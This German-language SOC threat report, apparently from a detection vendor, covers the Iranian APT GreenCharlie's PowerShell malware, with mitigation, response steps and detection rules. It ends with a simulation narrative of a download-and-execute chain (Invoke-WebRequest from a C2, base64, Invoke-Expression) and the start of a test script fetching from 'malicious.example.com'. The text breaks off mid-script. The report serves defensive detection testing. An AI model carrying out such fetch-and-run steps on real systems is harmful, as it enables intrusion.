GreenCharlie: Der SOC-Bericht über PowerShell-Exploits durch Iran-unterstützte APT
Folgen 
Detection stack
- AIDR
- Alert
- ETL
- Query
GreenCharlie PowerShell Exploit Zusammenfassung
GreenCharlie ist eine in Iran ansässige APT-Gruppe, die Cyber-Spionage mit einer mehrstufigen PowerShell-Malware-Familie (GORBLE, TAMECAT, POWERSTAR) betreibt. Die Gruppe registriert viele dynamische DNS-Domains für Phishing, verwendet verschleierte PowerShell-Skripte mit benutzerdefinierter Base64- und bitweiser Codierung und kommuniziert über HTTPS POST mit C2-Servern. Die Aktivitäten erreichten im Mai-August 2024 mit iranischen IPs und VPN-Diensten zur Verkehrsverschleierung ihren Höhepunkt.
Untersuchung
Analysieren Sie den Netzwerkverkehr auf Verbindungen zu bekannten DDNS-Domains und IP-Bereichen, die der Gruppe zugeordnet sind (z. B. *.ddnsgeek.com, *.dns-dynamic.net). Suchen Sie nach PowerShell-Ausführungsketten, die Base64-Dekodierung gefolgt von bitweisen NOT-Operationen durchführen, und nach Skripten, die ScriptBlock.Create oder Invoke-Expression aufrufen. Überwachen Sie die Prozessinjektion und die Ausführung von entschlüsselten Nutzlasten im Speicher. Korrelation von Warnungen mit ATT&CK-Techniken T1583.001, T1566.002, T1059.001, T1568.
Abschwächung
Implementieren Sie striktes PowerShell-Logging (ModuleLogging, ScriptBlockLogging) und erzwingen Sie den eingeschränkten Sprachmodus. Blockieren oder leiten Sie den Verkehr zu bekannten DDNS-Anbietern und verdächtigen TLDs (.info, .xyz, .icu, .network, .online, .site) um. Setzen Sie DNS-Sandboxing und URL-Filterung für Phishing-Domains ein. Verwenden Sie Endpoint Detection and Response (EDR)-Lösungen, um verschleierte PowerShell-Skripte und AES-Entschlüsselung im Speicher zu erkennen. Erzwingen Sie das Prinzip der minimalen Rechte für Dienstkonten und deaktivieren Sie unnötige Remoteausführungstools.
Reaktion auf die GreenCharlie-Bedrohung
Wenn ein Indikator erkannt wird, isolieren Sie den betroffenen Host, erfassen Sie den flüchtigen Speicher und sammeln Sie PowerShell-Protokolle. Führen Sie eine forensische Analyse durch, um die dekodierte Nutzlast zu extrahieren und C2-Server zu identifizieren. Widerrufen Sie kompromittierte Anmeldeinformationen, rotieren Sie Geheimnisse und entfernen Sie verwandte geplante Aufgaben oder Persistenzmechanismen. Teilen Sie Bedrohungsinformationen zu IOCs (Domains, IPs, Hash-Werte) mit relevanten ISACs und aktualisieren Sie die Erkennungsregeln entsprechend.
Angriffsfluss
GreenCharlie PowerShell-Erkennungsregeln
Erkennung von GreenCharlie APT PowerShell Malware-Frameworks [Windows Powershell]
Ansehen
Mögliche Dateninfiltration / -exfiltration / C2 über Drittdienste / -werkzeuge (via Proxy)
Ansehen
IOCs (IP) zum Erkennen: GreenCharlie APT: Irans PowerShell-basierte Cyber-Spionagekampagnen
Ansehen
IOCs (E-Mails) zum Erkennen: GreenCharlie APT: Irans PowerShell-basierte Cyber-Spionagekampagnen
Ansehen
Payload-Simulationsanweisungen
-
Angriffserzählung & Befehle:
Stufe 1 – Den bösartigen Loader abrufen:
Der Angreifer verwendetInvoke-WebRequestum ein PowerShell-Skript namens GORBLE.ps1 von einem C2-Server herunterzuladen.Stufe 2 – Die Nutzlast kodieren:
Das heruntergeladene Skript enthält die bösartige Nutzlast. Der Angreifer kodiert das gesamte Skript base64 und speichert es in einer Variablen$x.Stufe 3 – Ausführung über hochriskantes Cmdlet:
Verwendung vonInvoke-Expression, der Angreifer dekodiert$xon-the-fly und führt es aus, indem er das GORBLE-Framework aufruft.Stufe 4 – Seitliche Bewegung (optional):
Die Nutzlast kann späterScriptBlock.Createmit einem bitweise NOT-obfuskierten String aufrufen, um einen zweiten PowerShell-Befehl auf einem entfernten Host auszuführen. -
Regressionstest-Skript:
# ------------------------------------------------- # GreenCharlie APT PowerShell Framework Simulation # ------------------------------------------------- # 1. Download des bösartigen Frameworks simulieren (Stichwort GORBLE) $maliciousUrl = "http://malicious.example.com/GORBLE.ps1" $downloaded = @" # GORBLE - simulierter bösartiger Payload